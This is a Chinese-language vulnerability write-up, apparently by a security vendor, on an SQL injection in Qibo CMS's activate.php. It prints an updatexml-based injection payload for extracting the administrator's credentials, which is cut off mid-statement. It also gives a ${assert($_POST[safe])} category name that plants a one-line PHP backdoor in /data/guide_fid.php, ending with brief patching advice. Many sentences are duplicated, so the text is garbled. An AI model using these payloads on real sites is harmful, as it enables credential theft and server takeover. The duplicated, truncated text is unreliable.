齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展
化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢。开发
架构使用的是php语言以及mysql数据库,强大的网站并发能力。于近日,我们SINE安全公司发现
齐博cms又爆出高危的sql注入漏洞,关于该网站漏洞的详情,我们来详细的分析漏洞的产生以及
如何利用。
在对整个网站代码的漏洞检测中发现do目录下的activate.php存在可以插入恶意参数的变量值,我
们来看下这个代码:
们来看下这个代码:
齐博cms漏洞详情:
从代码里发现这个代码的功能是发送序列号激活的一个功能,从激活的链接地址里,可以看出do
/activate.php?job=activate&safe_id=$safe_id 是用来激活序列号的,我们从整个齐博的代码里
找到了账号激活的一个大体的过程,首先会注册一个账号,注册账号后会需要发送邮件到用户
的邮箱里,邮箱里验证的是safe_id这个值,这个safe_id这个值经过md5的解密后直接生成
uaername跟用户的密码,然后再传入到get_safe()这个函数,在这个inc文件夹下的
class.user.php代码里找得到这个函数。
/activate.php?job=activate&safe_id=$safe_id 是用来激活序列号的,我们从整个齐博的代码里
找到了账号激活的一个大体的过程,首先会注册一个账号,注册账号后会需要发送邮件到用户
的邮箱里,邮箱里验证的是safe_id这个值,这个safe_id这个值经过md5的解密后直接生成
uaername跟用户的密码,然后再传入到get_safe()这个函数,在这个inc文件夹下的
class.user.php代码里找得到这个函数。
我们发现这个get_safe()函数是用来传递用户的激活信息,并进行安全过滤与判断的,从这里我
们可以插入恶意的sql语句到网站后端里去,并直接到数据库中执行该语句,我们本地来测试一下
是否可以sql注入:
们可以插入恶意的sql语句到网站后端里去,并直接到数据库中执行该语句,我们本地来测试一下
是否可以sql注入:
从上图我们可以看出可以进行网站sql注入攻击,那么我们就可以进行查询数据库的账号密码操作
,比如查询网站超级管理员的账号密码:and (updatexml(1,concat(0x7e,(substring((select
username from qb_memberdata where groupid=3),1, 这个语句就是查询超级管理员的账号
密码,通过这里我们查到网站的管理员账号密码,登录后台,我们进行远程代码提权了。
,比如查询网站超级管理员的账号密码:and (updatexml(1,concat(0x7e,(substring((select
username from qb_memberdata where groupid=3),1, 这个语句就是查询超级管理员的账号
密码,通过这里我们查到网站的管理员账号密码,登录后台,我们进行远程代码提权了。
增加栏目为${assert($_POST[safe])},一句话后门的代码会直接写入到/data/guide_fid.php文件
,用一句话木马连接工具连接即可。
,用一句话木马连接工具连接即可。
关于齐博cms漏洞的修复,我们SINE安全建议网站的运用者,尽快升级齐博CMS到最新版本,对
于sql注入语句进行安全过滤与sql注入防护,对网站的后台默认地址进行详细的更改为其他的文件
名。对于前端网站进行sql语句查询的时候进行网站安全白名单系统部署,网站后台的账号密码设
置的复杂一些,尽可能的用数字+大小写+特殊字符组合。
于sql注入语句进行安全过滤与sql注入防护,对网站的后台默认地址进行详细的更改为其他的文件
名。对于前端网站进行sql语句查询的时候进行网站安全白名单系统部署,网站后台的账号密码设
置的复杂一些,尽可能的用数字+大小写+特殊字符组合。